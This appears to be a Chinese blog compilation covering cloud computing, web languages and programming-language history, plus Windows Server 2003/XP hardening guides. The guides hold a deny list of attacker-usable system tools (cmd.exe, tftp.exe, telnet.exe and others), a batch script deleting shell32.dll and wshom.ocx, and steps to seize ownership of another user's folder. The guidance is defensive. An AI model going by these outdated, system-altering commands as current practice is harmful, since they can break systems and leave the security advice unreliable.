这使得企业能够将资源切换到需要的应用上,根据需求访问计算机和存储系统。这可是一种革命性的举措,打个比方,这就好比是从古老的单台发电机模式转向了电厂集中供电的模式。它意味着计算能力也可以作为一种商品进行流通,就像煤气、水电一样,取用方便,费用低廉。最大的不同在于,它是通过互联网进行传输的。
云计算的蓝图已经呼之欲出:在未来,只需要一台笔记本或者一个手机,就可以通过网络服务来实现我们需要的一切,甚至包括超级计算这样的任务。从这个角度而言,最终用户才是云计算的真正拥有者。云计算的应用包含这样的一种思想,把力量联合起来,给其中的每一个成员使用。从最根本的意义来说,云计算就是利用互联网上的软件和数据的能力。 对于云计算, 李开复(Google全球副总裁、中国区总裁)打了一个形象的比喻:钱庄。 最早人们只是把钱放在枕头底下,后来有了钱庄,很安全,不过兑现起来比较麻烦。现在发展到银行可以到任何一个网点取钱,甚至通过ATM,或者国外的渠道。就像用电不需要家家装备发电机,直接从电力公司购买一样。
“云计算”带来的就是这样一种变革——由谷歌、IBM这样的专业网络公司来搭建计算机存储、运算中心,用户通过一根网线借助浏览器就可以很方便的访问,把“云”做为资料存储以及应用服务的中心。 云计算目前已经发展出了云安全和云存储两大领域。如国内的瑞星和趋势科技就已开始提供云安全的产品;而微软、谷歌等国际头更多的是涉足云存储领域。

主流WEB开发语言简单对比

随着时间的飞逝,随着岁月的流失。从世界上第一台计算机ENIAC诞生至今,已经有将近半个世纪了。经过这半个世纪的语言发展,我们所接触的语言基本上都是高级语言了。这篇文章主要对现在比较主流的WEB开发语言,做一个简单的对比。
JAVA
JAVA

  • 简介:

Java是由Sun Microsystems公司于1995年5月推出的Java程序设计语言(以下简称Java语言)和Java平台的总称。用Java实现的HotJava浏览器(支持Java applet)显示了Java的魅力:跨平台、动态的Web、Internet计算。从此,Java被广泛接受并推动了Web的迅速发展,常用的浏览器现在均支持Java applet。另一方面,Java技术也不断更新。

  • IDE:

Eclipse、Myeclipse、Jbuilder2008、Jdeveloper、Netbeans等,很多!

  • 版本历史:

1995年5月23日,Java语言诞生
1996年1月,第一个JDK-JDK1.0诞生
1996年4月,10个最主要的操作系统供应商申明将在其产品中嵌入JAVA技术
1996年9月,约8.3万个网页应用了JAVA技术来制作
1997年2月18日,JDK1.1发布
1997年4月2日,JavaOne会议召开,参与者逾一万人,创当时全球同类会议规模之纪录
1997年9月,JavaDeveloperConnection社区成员超过十万
1998年2月,JDK1.1被下载超过2,000,000次
1998年12月8日,JAVA2企业平台J2EE发布
1999年6月,SUN公司发布Java的三个版本:标准版(J2SE)、企业版(J2EE)和微型版(J2ME)
2000年5月8日,JDK1.3发布
2000年5月29日,JDK1.4发布
2001年6月5日,NOKIA宣布,到2003年将出售1亿部支持Java的手机
2001年9月24日,J2EE1.3发布
2002年2月26日,J2SE1.4发布,自此Java的计算能力有了大幅提升
2004年9月30日18:00PM,J2SE1.5发布,成为Java语言发展史上的又一里程碑。为了表示该版本的重要性,J2SE1.5更名为Java SE 5.0
2005年6月,JavaOne大会召开,SUN公司公开Java SE 6。此时,Java的各种版本已经更名,以取消其中的数字“2”:J2EE更名为Java EE,J2SE更名为Java SE,J2ME更名为Java ME
2006年12月,SUN公司发布JRE6.0
目前JDK7.0已经在研发中,已经有测试版在 https://jdk7.dev.java.net/ 可以下载使用

  • 应用方面:

可以从事JSP网站开发、Java编程、Java游戏开发、Java桌面程序设计,以及其他与Java语言编程相关的工作。
PHP
PHP

  • 简介

PHP,一个嵌套的缩写名称,是英文超级文本预处理语言(PHP:Hypertext Preprocessor)的缩写。PHP 是一种 HTML 内嵌式的语言,是一种在服务器端执行的嵌入HTML文档的脚本语言,语言的风格有类似于C语言,现在被很多的网站编程人员广泛的运用。PHP 独特的语法混合了 C、Java、Perl 以及 PHP 自创新的语法。它可以比 CGI 或者 Perl 更快速的执行动态网页。

  • IDE

Eclipse、Komodo、PHP 设计器、PhpED、PHPEdit、Zend Studio等。

  • 版本历史

在1997年,任职于 Technion IIT 公司的两个以色列程序设计师:Zeev Suraski 和 Andi Gutmans,重写了 PHP 的剖析器,成为 PHP 3 的基础,而 PHP 也在这个时候改称为PHP: Hypertext Preprocessor.[5]。经过几个月测试,开发团队在1997年11月释出了 PHP/FI 2,随后就开始 PHP 3 的开放测试,最后在1998年6月正式释出 PHP 3。Zeev Suraski 和 Andi Gutmans 在 PHP 3 释出后开始改写 PHP 的核心,这个在1999年释出的剖析器称为 Zend Engine[7],他们也在以色列的 Ramat Gan 成立了 Zend Technologies 来管理 PHP 的开发。
在2000年5月22日,以Zend Engine 1.0为基础的PHP 4正式释出,2004年7月13日则释出了PHP 5,PHP 5则使用了第二代的Zend Engine[5]。PHP包含了许多新特色,像是强化的面向对象功能、引入PDO(PHP Data Objects,一个存取数据库的延伸函数库)、以及许多效能上的增强。目前PHP 4已经不会继续更新,以鼓励用户转移到PHP 5。
2008年PHP 5成为了PHP唯一的有在开发的PHP版本。将来的PHP 5.3将会加入Late static binding和一些其他的功能强化。PHP 6 的开发也正在进行中,主要的改进有移除register_globals、magic quotes 和 Safe mode的功能。

  • 应用方面

PHP常见的模板引擎

Smarty
Smarty的特点是将模板编译成PHP脚本,然后执行这些脚本。很快,非常灵活。
Heyes Template Class
一个非常容易使用,但功能强大并且快速的模板引擎,它帮助你把页面布局和设计从代码中分离。
FastTemplate
一个简单的变量插值模板类,它分析你的模板,把变量的值从HTML代码中分离处理。
ShellPage
一个简单易用的类,可以让你的整个网站布局基于模板文件,修改模板就能改变整个站点。
STP Simple Template Parser
一个简单、轻量级并且易于使用的模板分析类。它可以从多个模板中组装一个页面,把结果页面输出到浏览器或者文件系统。
OO Template Class
一个你可以用在自己程序中的面向兑现的模板类。
SimpleTemplate
一个可以创建和结构化网站的模板引擎。它可以解析和编译模板。
bTemplate
短小但是快速的模板类,允许你把PHP逻辑代码从HTML修饰代码中分离。
Savant
一个强大且轻量级的PEAR兼容模板系统。它是非编译型的,使用PHP语言本身做为它的模板语言。
ETS – easy template system
可以使用完全相同数据重组模板的模板系统。
EasyTemplatePHP
适用于你的站点的一个简单但是强大的模板系统。
vlibTemplate
一个快速、全能的模板系统,它包含一个缓存和调试类。
AvanTemplate
多字节安全的模板引擎,占用很少系统资源。它支持变量替换,内容块可以设置显示或隐藏。
Grafx Software’s Fast Template
一个修改版本的Fast Template系统,它包括缓存功能,调试控制台以及沉默去除为赋值块。
TemplatePower
一个快速、简单、功能强大的模板类。主要功能有嵌套的动态块支持,块/文件包含支持以及显示/隐藏未赋值的变量。
TagTemplate
这个库的功能被设计来使用模板文件,同时允许你从HTML文件检索信息。
htmltmpl: templating engine
一个适用于Python和PHP的模板引擎。它面向希望在项目中分离代码和设计的web应用开发人员。
PHP Class for Parsing Dreamweaver templates
一个分析Dreamweaver模板的简单类,被用于Gallery 2 和WordPress的自定义模块中。
MiniTemplator (Template Engine)
针对HTML文件的一个紧凑型模板引擎。对于模板变量和块定义它具有简单的语法。其中块可以嵌套。
Layout Solution
简化网站开发和维护。它拥有常用的变量和页面元素使你不需要重复做页面布局工作。
Cached Fast Template
它已经纳入 FastTemplate ,允许你缓存模板文件,甚至可以在分离的块内容上缓存不同的规格。
TinyButStrong
一个支持MySQL, Odbc, Sql-Server和ADODB的模板引擎。它包含7个方法和两个属性。
Brian Lozier’s php based template engine
只有2K大小,非常快并且是面向对象设计。
WACT
一个从设计中分离代码的模板引擎。
PHPTAL
一个PHP下面的XML/XHTML模板库。
ASP.NET
ASP.NET

  • 简介

ASP.net构架是可以用Microsoft(R)公司最新的产品 Visual Studio.net开发环境进行开发,WYSIWYG(What You See Is What You Get所见即为所得)的编辑。这些仅是ASP.net强大化软件支持的一小部分。

  • IDE

Visual Studio

  • 应用

WEB、应用程序

计算机语言发展史

1. 机器语言
电子计算机所使用的是由“0”和“1”组成的二进制数,二进制是计算机的语言的基础。计算机发明之初,人们只能降贵纡尊,用计算机的语言去命令计算机干这 干那,一句话,就是写出一串串由“0”和“1”组成的指令序列交由计算机执行,这种语言,就是机器语言。使用机器语言是十分痛苦的,特别是在程序有错需要 修改时,更是如此。而且,由于每台计算机的指令系统往往各不相同,所以,在一台计算机上执行的程序,要想在另一台计算机上执行,必须另编程序,造成了重复 工作。但由于使用的是针对特定型号计算机的语言,故而运算效率是所有语言中最高的。机器语言,是第一代计算机语言。

2. 汇编语言
为了减轻使用机器语言编程的痛苦,人们进行了一种有益的改进:用一些简洁的英文字母、符号串来替代一个特定的指令的二进制串,比如,用“ADD”代表加 法,“MOV”代表数据传递等等,这样一来,人们很容易读懂并理解程序在干什么,纠错及维护都变得方便了,这种程序设计语言就称为汇编语言,即第二代计算 机语言。然而计算机是不认识这些符号的,这就需要一个专门的程序,专门负责将这些符号翻译成二进制数的机器语言,这种翻译程序被称为汇编程序。汇编语言同 样十分依赖于机器硬件,移植性不好,但效率仍十分高,针对计算机特定硬件而编制的汇编语言程序,能准确发挥计算机硬件的功能和特长,程序精炼而质量高,所 以至今仍是一种常用而强有力的软件开发工具。

计算机语言发展史

计算机语言发展史

3. 高级语言
从最初与计算机交流的痛苦经历中,人们意识到,应该设计一种这样的语言,这种语言接近于数学语言或人的自然语言,同时又不依赖于计算机硬件,编出的程序能 在所有机器上通用。经过努力,1954年,第一个完全脱离机器硬件的高级语言—FORTRAN问世了,40多年来,共有几百种高级语言出现,有重要意义的 有几十种,影响较大、使用较普遍的有FORTRAN、ALGOL、COBOL、BASIC、LISP、SNOBOL、PL/ 1、Pascal、C、PROLOG、Ada、C++、VC、VB、Delphi、JAVA 等。高级语言的发展也经历了从早期语言到结构化程序设计语言,从面向过程到非过程化程序语言的过程。相应地,软件的开发也由最初的个体手工作坊式的封闭式 生产,发展为产业化、流水线式的工业化生产。
60 年代中后期,软件越来越多,规模越来越大,而软件的生产基本上是人自为战,缺乏科学规范的系统规划与测试、评估标准,其恶果是大批耗费巨资建立起来的软件 系统,由于含有错误而无法使用,甚至带来巨大损失,软件给人的感觉是越来越不可靠,以致几乎没有不出错的软件。这一切,极大地震动了计算机界,史称“软件 危机”。人们认识到:大型程序的编制不同于写小程序,它应该是一项新的技术,应该像处理工程一样处理软件研制的全过程。程序的设计应易于保证正确性,也便 于验证正确性。1969年,提出了结构化程序设计方法,1970年,第一个结构化程序设计语言—Pascal语言出现,标志着结构化程序设计时期的开始。
80 年代初开始,在软件设计思想上,又产生了一次革命,其成果就是面向对象的程序设计。在此之前的高级语言,几乎都是面向过程的,程序的执行是流水线似的,在 一个模块被执行完成前,人们不能干别的事,也无法动态地改变程序的执行方向。这和人们日常处理事物的方式是不一致的,对人而言是希望发生一件事就处理一件 事,也就是说,不能面向过程,而应是面向具体的应用功能,也就是对象(ob ject)。其方法就是软件的集成化,如同硬件的集成电路一样,生产一些通用的、封装紧密的功能模块,称之为软件集成块,它与具体应用无关,但能相互组 合,完成具体的应用功能,同时又能重复使用。对使用者来说,只关心它的接口(输入量、输出量)及能实现的功能,至于如何实现的,那是它内部的事,使用者完 全不用关心,C++、VB、Delph i就是典型代表。高级语言的下一个发展目标是面向应用,也就是说:只需要告诉程序你要干什么,程序就能自动生成算法,自动进行处理,这就是非过程化的程序 语言。
计算机语言的未来发展趋势:面向对象程序设计以及数据抽象在现代程序设计思想中占有很重要的地位,未来语言的发展将不在是一种单纯的语言标准,将会以一种 完全面向对象,更易表达现实世界,更易为人编写,其使用将不再只是专业的编程人员,人们完全可以用订制真实生活中一项工作流程的简单方式来完成编程。下面 是一张计算机语言发展图表,从中不难得出计算机语言发展的特性:
(1) 简单性:提供最基本的方法来完成指定的任务,只需理解一些基本的概念,就可以用它编写出适合于各种情况的应用程序 。
(2) 面向对象:提供简单的类机制以及动态的接口模型。对象中封装状态变量以及相应的方法,实现了模块化和信息隐藏;提供了一类对象的原型,并且通过继承机制, 子类可以使用父类所提供的方法,实现了代码的复用 。
(3)安全性 :用于网络、分布环境下有安全机制保证。
(4)平台无关性:与平台无关的特性使程序可以方便地被移植到网络上的不同机器、不同平台。

Windows Server 2003 系统配置方案

windows2003_logo一、系统的安装
1、按照Windows2003安装光盘的提示安装,默认情况下2003没有把IIS6.0安装在系统里面。
2、IIS6.0的安装
开始菜单—>控制面板—>添加或删除程序—>添加/删除Windows组件
应用程序 ———ASP.NET(可选)
|——启用网络 COM+ 访问(必选)
|——Internet 信息服务(IIS)———Internet 信息服务管理器(必选)
|——公用文件(必选)
|——万维网服务———Active Server pages(必选)
|——Internet 数据连接器(可选)
|——WebDAV 发布(可选)
|——万维网服务(必选)
|——在服务器端的包含文件(可选)
然后点击确定—>下一步安装。
3、系统补丁的更新
点击开始菜单—>所有程序—>Windows Update
按照提示进行补丁的安装。
4、备份系统
用GHOST备份系统。
5、安装常用的软件
例如:杀毒软件、解压缩软件等;安装之后用GHOST再次备份系统。
二、系统权限的设置
1、磁盘权限
系统盘及所有磁盘只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Documents and Settings 目录只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Documents and Settings\All Users 目录只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Inetpub 目录及下面所有目录、文件只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Windows\System32\cacls.exe、cmd.exe、net.exe、net1.exe 文件只给 Administrators 组和 SYSTEM 的完全控制权限
2、本地安全策略设置
开始菜单—>管理工具—>本地安全策略
A、本地策略——>审核策略
审核策略更改   成功 失败
审核登录事件   成功 失败
审核对象访问      失败
审核过程跟踪   无审核
审核目录服务访问    失败
审核特权使用      失败
审核系统事件   成功 失败
审核账户登录事件 成功 失败
审核账户管理   成功 失败
B、 本地策略——>用户权限分配
关闭系统:只有Administrators组、其它全部删除。
通过终端服务拒绝登陆:加入Guests、User组
通过终端服务允许登陆:只加入Administrators组,其他全部删除
C、本地策略——>安全选项
交互式登陆:不显示上次的用户名       启用
网络访问:不允许SAM帐户和共享的匿名枚举   启用
网络访问:不允许为网络身份验证储存凭证   启用
网络访问:可匿名访问的共享         全部删除
网络访问:可匿名访问的命          全部删除
网络访问:可远程访问的注册表路径      全部删除
网络访问:可远程访问的注册表路径和子路径  全部删除
帐户:重命名来宾帐户            重命名一个帐户
帐户:重命名系统管理员帐户         重命名一个帐户
3、禁用不必要的服务
开始菜单—>管理工具—>服务
Print Spooler
Remote Registry
TCP/IP NetBIOS Helper
Server
以上是在Windows Server 2003 系统上面默认启动的服务中禁用的,默认禁用的服务如没特别需要的话不要启动。
4、启用防火墙
桌面—>网上邻居—>(右键)属性—>本地连接—>(右键)属性—>高级—>(选中)Internet 连接防火墙—>设置
把服务器上面要用到的服务端口选中
例如:一台WEB服务器,要提供WEB(80)、FTP(21)服务及远程桌面管理(3389)
在“FTP 服务器”、“WEB服务器(HTTP)”、“远程桌面”前面打上对号
如果你要提供服务的端口不在里面,你也可以点击“添加”铵钮来添加,具体参数可以参照系统里面原有的参数。
然后点击确定。注意:如果是远程管理这台服务器,请先确定远程管理的端口是否选中或添加。
ASP虚拟主机安全检测探针V1.5
走出Windows权限迷魂阵
在电脑应用中经常会看到”权限”这个词,特别是Windows 2000/XP被越来越多的朋友装进电脑后,常常会有读者问,什么是权限呢?它到底有什么用?下面我们将用几个典型实例为大家讲解windows中的权限应用,让你不仅可以在不安装任何软件的情况下,限制别人访问你的文件夹、指定用户不能使用的程序,而且还有来自微软内部的加强系统安全的绝招。
——————————————————————————–
初识Windows的权限
首先,要完全使用windows权限的所有功能,请确保在应用权限的分区为NTFS文件系统。本文将以windowsXP简体中文专业版+SP2作为范例讲解。
1.什么是权限?
举个形象的例子,windows就像一个实验室,其中有导师A、导师B;学生A、学生B.大家都能在实验室里面完成实验。但在这里又是分等级的.两位导师可以指定学生能使用什么样的实验工具,不能碰什么工具,从而使得实验室不会因为学生乱用实验工具.而出现问题。同时.两位导师又能互相限制对方对实验工具的使用。因此.windows中的权限就是对某个用户或同等级的用户进行权力分配和限制的方法。正是有了它的出现,windows中的用户要遵循这种”不平等”的制度,而正是这个制度,才使得windows可以更好地为多个用户的使用创造了良好,稳定的运行环境。
2.权限都包含有什么?
在以NT内核为基础的Windows 2000/XP中,权限主要分为七大类完全控制、修改,读取和运行、列出文件夹目录、读取、写入、特别的权限(见图1)。
其中完全控制包含了其他六大权限.只要拥有它,就等同于拥有了另外六大权限,其余复选框会被自动选中.属于”最高等级”的权限。
而其他权限的等级高低分别是:特别的权限>读取和运行>修改>写入>读取。
默认情况下,Windows XP将启用”简单文件共享”,这意味着安全性选项卡和针对权限的高级选项都不可用.也就不能进行本文所述的那些权限应用操作了。请现在就右击任意文件或文件夹.选择”属性”,如果没有看到”安全”选项卡,你可以通过如下方法打开它。
打开”我的电脑”,点击”工具→文件夹选项→查看”,接着在然后单击取消”使用简单文件共享(推荐)”复选框即可。
实战权限”正面”应用
以下应用的前提,是被限制的用户不在Administrators组,否则将可能发生越权访问,后面”反面应用”会讲到。执行权限设置的用户至少需要为Power Users组的成员,才有足够权限进行设置。
实例1:我的文档你别看-保护你的文件或文件夹
假设A电脑中有三个用户,用户名分别为User1、User2、User3。Userl不想让User2和User3查看和操作自己的”test”文件夹。
第一步:右击”test”文件夹并选择”属性”,进入”安全”选项卡,你将会看到”组或用户名称”栏里有Administrators(A\Administrators)、CREATOR OWNER、SYSTEM Users(A\Users)、User1(A\ User1)。他们分别表示名为A电脑的管理员组,创建、所有者组,系统组,用户组以及用户User1对此文件夹的权限设置。当然,不同的电脑设置和软件安装情况,此栏里的用户或用户组信息不一定就是和我描述的一样.但正常情况下最少将包含3项之一:Administrators、SYSTEM、Users或Everyone(见图2)。
第二步:依次选中并删除Administrators、CREATOR OWNER、SYSTEM、Users,仅保留自己使用的Userl账户。在操作中可能会遇到如图3的提示框。
其实只要单击”高级”按钮,在”权限”选项卡中,取消”从父项继承那些可以应用到子对象的权限项目,包括那些在此明确定义的项目”的复选框,在弹出对话框中单击”删除”即可。该操作使此文件夹清除了从上一级目录继承来的权限设置,仪保留了你使用的User1账户。
就这么轻松,你就实现了其他用户,甚至系统权限都无法访问”test”文件夹的目的。
★需要注意的是,如果这个文件夹中需要安装软件,那么就不要删除”SYSTEM”,不然可能引起系统访问出错
★Administrator并不是最高指挥官:你可能会问,为什么这里会有一个”SYSTEM”账户呢?同时许多朋友认为windows2000/XP中的Administrator是拥有权限最高的用户,其实不然,这个”SYSTEM”才具有系统最高权限,因为它是”作为操作系统的一部分工作”,任何用户通过某种方法获取了此权限,就能凌驾一切。
——————————————————————————–
实例2:上班时间别聊天-禁止用户使用某程序
第一步:找到聊天程序的主程序,如QQ,其主程序就是安装目录下的QQ.exe,打开它的属性对话框,进入”安全”选项卡,选中或添加你要限制的用户,如User3。
第二步:接着选择”完全控制”为”拒绝”,”读取和运行”也为”拒绝”。
第三步:单击”高级”按钮进入高级权限没置,选中User3,点”编辑”按钮,进入权限项目。在这里的”拒绝”栏中选中”更改权限”和”取得所有权”的复选框。
也可以使用组策略编辑器来实现此功能,但安全性没有上面方法高。点击”开始→运行”,输入”gpedit.msc”,回车后打开组策略编辑器,进入”计算机设置→windows设置→安全设置→软件限制策略→其他规则”,右击,选择”所有任务→新路径规则”,接着根据提示设置想要限制的软件的主程序路径,然后设定想要的安全级别,是”不允许的”还是”受限制的”。
——————————————————————————–
实例3:来者是客--微软内部增强系统安全的秘技
本实战内容将需要管理员权限。所谓入侵,无非就是利用某种方法获取到管理员级别的权限或系统级的权限,以便进行下一步操作,如添加自己的用户。如果想要使入侵者”进来”之后不能进行任何操作呢?永远只能是客人权限或比这个权限更低,就算本地登录,连关机都不可以。那么,他将不能实施任何破坏活动。
注意:此法有较高的危险性.建议完全不知道以下程序用途的读者不要尝试.以免误操作引起系统不能进入或出现很多错误。
第一步:确定要设置的程序
搜索系统目录下的危险程序,它们可以用来创建用户夺取及提升低权限用户的权限,格式化硬盘,引起电脑崩溃等恶意操作:cmd.exe、regedit.exe、regsvr32.exe、regedt32.exe、gpedit.msc、format.com、compmgmt.msc、mmc.exe、telnet.exe、tftp.exe、ftp.exe、XCOPY.EXE、at.exe、cacls.exe、edlin.exe、rsh.exe、finger.exe、runas.exe、net.exe、tracert.exe、netsh.exe、tskill.exe、poledit.exe、regini.exe、cscript.exe、netstat.exe、issync.exe、runonce.exe、debug.exe、rexec.exe、wscript.exe、command.com、comsdupd.exe
第二步:按系统调用的可能性分组设置
按照下面分组.设置这些程序权限。完成一组后,建议重启电脑确认系统运行是否一切正常,查看”事件查看器”,是否有错误信息(“控制面板→管理工具→事件查看器”)。
(1)cmd.exe、net.exe gpedit.msc telnet.exe command.com
(仅保留你自己的用户,SYSTEM也删除)
(2)mmc.exe、tftp.exe、ftp.exe、XCOPY.EXE、comsdupd.exe
(仅保留你自己的用户,SYSTEM也删除)
(3)regedit.exe、regedt32.exe、format.com、compmgmt.msc、at.exe、cacls.exe、edlin.exe、rsh.exe、finger.exe、runas.exe、debug.exe、wscript.exe、cscript.exe、rexec.exe
(保留你自己的用户和SYSTEM)
(4)tracert.exe、netsh.exe、tskill.exe、poledit.exe、regini.exe、netstat.exe、issync.exe、runonce.exe、regsvr32.exe
(保留你自己的用户和SYSTEM)
第三步:用户名欺骗
这个方法骗不了经验丰富的入侵者,但却可以让不够高明的伪黑客们弄个一头雾水。
打开”控制面板一管理工具一计算机管理”,找到”用户”,将默认的Administrator和Guest的名称互换,包括描述信息也换掉。完成后,双击假的”Administrator”用户,也就是以前的Guest用户.在其”属性”窗口中把隶属于列表里的Guests组删除.这样.这个假的”管理员”账号就成了”无党派人士”,不属于任何组,也就不会继承其权限。此用户的权限几乎等于0,连关机都不可以,对电脑的操作几乎都会被拒绝。如果有谁处心积虑地获取了这个用户的权限,那么他肯定吐血。
第四步:集权控制,提高安全性
打开了组策略编辑器,找到”计算机设置→windows设置→安全设置→本地策略→用户权利指派”(见图4),接着根据下面的提示进行设置。
(1)减少可访问此计算机的用户数,减少被攻击机会
找到并双击”从网络访问此计算机”,删除账户列表中用户组,只剩下”Administrators”;
找到并双击”拒绝本地登录”,删除列表中的”Guest”用户,添加用户组”Guests”。
(2)确定不想要从网络访问的用户,加入到此”黑名单”内
找到并双击”拒绝从刚络访问这台计算机”,删除账户列表中的”Guest”用户,添加用户组”Guests”;
找到并双击”取得文件或其他对象的所有权”,添加你常用的账户和以上修改过名称为”Guest”的管理员账户,再删除列表中”Administrators”。
(3)防止跨文件夹操作
找到并双击”跳过遍历检查”,添加你所使用的账户和以上修改过名称为”Guest”的管理员账户,再删除账户列表中的”Administrators”、”Everyone”和”Users”用户组。
(4)防止通过终端服务进行的密码猜解尝试
找到并双击”通过终端服务拒绝登录”,添加假的管理员账户”Administrator”;找到”通过终端服务允许登录”,双击,添加你常用的账户和以上修改过名称为”Guest”的管理员账户,再删除账户列表中的”Administrators”,”Remote Desktop User”和”HelpAssistant”(如果你不用远程协助功能的话才可删除此用户)。
(5)避免拒绝服务攻击
找到并双击”调整进程的内存配额”,添加你常用的账户,再删除账户列表中的”Administrators”
——————————————————————————–
实例4:”你的文档”别独享——突破文件夹”私有”的限制
windows XP安装完成并进入系统时,会询问是否将”我的文档”设为私有(专用),如果选择了”是”,那将使该用户下的”我的文档”文件夹不能被其他用户访问,删除,修改。其实这就是利用权限设置将此文件夹的访问控制列表中的用户和用户组删除到了只剩下系统和你的用户,所有者也设置成了那个用户所有,Administrators组的用户也不能直接访问。如果你把这个文件夹曾经设置为专用,但又在该盘重装了系统,此文件夹不能被删除或修改。可按照下面步骤解决这些问题,让你对这个文件夹的访问,畅通无阻。
第一步:登录管理员权限的账户,如系统默认的Administrator,找到被设为专用的”我的文档”,进入其”属性”的”安全”选项卡,你将会看到你的用户不在里面,但也无法添加和删除。
第二步:单击”高级”按钮,进入高级权限设置,选择”所有者”选项卡,在”将所有者更改为”下面的列表中选中你现在使用的用户,如”Userl(A\Userl)”,然后再选中”替换子容器及对象的所有者”的复选框,然后单击”应用”,等待操作完成。
第三步:再进入这个文件夹看看,是不是不会有任何权限的提示了?可以自由访问了?查看里面的文件,复制、删除试试看.是不是一切都和”自己的”一样了?嘿嘿。如果你想要删除整个文件夹,也不会有什么阻止你了。
SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 改3389 的
Windows2003基本的web服务器安全设置
栏目: | 作者:青鳥南飛 | 点击:164 | 回复:0 | 2006-6-26 14:40:39
基本的服务器安全设置
1、安装补丁
安装好操作系统之后,最好能在托管之前就完成补丁的安装,配置好网络后,如果是2000则确定安装上了SP4,如果是2003,则最好安装上SP1,然后点击开始→Windows Update,安装所有的关键更新。
2、安装杀毒软件
至于杀毒软件目前我使用有两款,一款是瑞星,一款是诺顿,瑞星杀木马的效果比诺顿要强,我测试过病毒包,瑞星要多杀出很多,但是装瑞星的话会有一个问题就是会出现ASP动态不能访问,这时候需要重新修复一下,具体操作步骤是:
关闭杀毒软件的所有的实时监控,脚本监控。
╭═══════════════╮╭═══════════════╮
在Dos命令行状态下分别输入下列命令并按回车(Enter)键:
regsvr32 jscript.dll (命令功能:修复Java动态链接库)
regsvr32 vbscript.dll (命令功能:修复VB动态链接库)
╰═══════════════╯╰═══════════════╯
不要指望杀毒软件杀掉所有的木马,因为ASP木马的特征是可以通过一定手段来避开杀毒软件的查杀。
3、设置端口保护和防火
2003的端口屏蔽可以通过自身防火墙来解决,这样比较好,比筛选更有灵活性,桌面—>网上邻居—>(右键)属性—>本地连接—>(右键)属性—>高级—>(选中)Internet 连接防火墙—>设置
把服务器上面要用到的服务端口选中
例如:一台WEB服务器,要提供WEB(80)、FTP(21)服务及远程桌面管理(3389)
在“FTP 服务器”、“WEB服务器(HTTP)”、“远程桌面”前面打上对号
如果你要提供服务的端口不在里面,你也可以点击“添加”铵钮来添加,具体参数可以参照系统里面原有的参数。
然后点击确定。注意:如果是远程管理这台服务器,请先确定远程管理的端口是否选中或添加。
权限设置
权限设置的原理
?WINDOWS用户,在WINNT系统中大多数时候把权限按用户(組)来划分。在【开始→程序→管理工具→计算机管理→本地用户和组】管理系统用户和用户组。
?NTFS权限设置,请记住分区的时候把所有的硬盘都分为NTFS分区,然后我们可以确定每个分区对每个用户开放的权限。【文件(夹)上右键→属性→安全】在这里管理NTFS文件(夹)权限。
?IIS匿名用户,每个IIS站点或者虚拟目录,都可以设置一个匿名访问用户(现在暂且把它叫“IIS匿名用户”),当用户访问你的网站的.ASP文件的时候,这个.ASP文件所具有的权限,就是这个“IIS匿名用户”所具有的权限。
权限设置
磁盘权限
系统盘及所有磁盘只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Documents and Settings 目录只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Documents and Settings\All Users 目录只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Inetpub 目录及下面所有目录、文件只给 Administrators 组和 SYSTEM 的完全控制权限
系统盘\Windows\System32\cacls.exe、cmd.exe、net.exe、net1.exe 文件只给 Administrators 组和 SYSTEM 的完全控制权限
4、禁用不必要的服务
开始菜单—>管理工具—>服务
Print Spooler
Remote Registry
TCP/IP NetBIOS Helper
Server
以上是在Windows Server 2003 系统上面默认启动的服务中禁用的,默认禁用的服务如没特别需要的话不要启动。
改名或卸载不安全组件
不安全组件不惊人
在阿江探针1.9里加入了不安全组件检测功能(其实这是参考7i24的代码写的,只是把界面改的友好了一点,检测方法和他是基本一样的),这个功能让很多站长吃惊不小,因为他发现他的服务器支持很多不安全组件。
其实,只要做好了上面的权限设置,那么FSO、XML、strem都不再是不安全组件了,因为他们都没有跨出自己的文件夹或者站点的权限。那个欢乐时光更不用怕,有杀毒软件在还怕什么时光啊。
最危险的组件是WSH和Shell,因为它可以运行你硬盘里的EXE等程序,比如它可以运行提升程序来提升SERV-U权限甚至用SERVU来运行更高权限的系统程序。
谨慎决定是否卸载一个组件
组件是为了应用而出现的,而不是为了不安全而出现的,所有的组件都有它的用处,所以在卸载一个组件之前,你必须确认这个组件是你的网站程序不需要的,或者即使去掉也不关大体的。否则,你只能留着这个组件并在你的ASP程序本身上下工夫,防止别人进来,而不是防止别人进来后SHELL。
比如,FSO和XML是非常常用的组件之一,很多程序会用到他们。WSH组件会被一部分主机管理程序用到,也有的打包程序也会用到。
5、卸载最不安全的组件
最简单的办法是直接卸载后删除相应的程序文件。将下面的代码保存为一个.BAT文件,( 以下均以 WIN2000 为例,如果使用2003,则系统文件夹应该是 C:\WINDOWS\ )
regsvr32/u C:\WINNT\System32\wshom.ocx
del C:\WINNT\System32\wshom.ocx
regsvr32/u C:\WINNT\system32\shell32.dll
del C:\WINNT\system32\shell32.dll
然后运行一下,WScript.Shell, Shell.application, WScript.Network就会被卸载了。可能会提示无法删除文件,不用管它,重启一下服务器,你会发现这三个都提示“×安全”了。
改名不安全组件
需要注意的是组件的名称和Clsid都要改,并且要改彻底了。下面以Shell.application为例来介绍方法。
打开注册表编辑器【开始→运行→regedit回车】,然后【编辑→查找→填写Shell.application→查找下一个】,用这个方法能找到两个注册表项:“{13709620-C279-11CE-A49E-444553540000}”和“Shell.application”。为了确保万无一失,把这两个注册表项导出来,保存为 .reg 文件。
比如我们想做这样的更改
13709620-C279-11CE-A49E-444553540000 改名为 13709620-C279-11CE-A49E-444553540001
Shell.application 改名为 Shell.application_ajiang
那么,就把刚才导出的.reg文件里的内容按上面的对应关系替换掉,然后把修改好的.reg文件导入到注册表中(双击即可),导入了改名后的注册表项之后,别忘记了删除原有的那两个项目。这里需要注意一点,Clsid中只能是十个数字和ABCDEF六个字母。
下面是我修改后的代码(两个文件我合到一起了):
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}]
@=”Shell Automation Service”
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\InProcServer32]
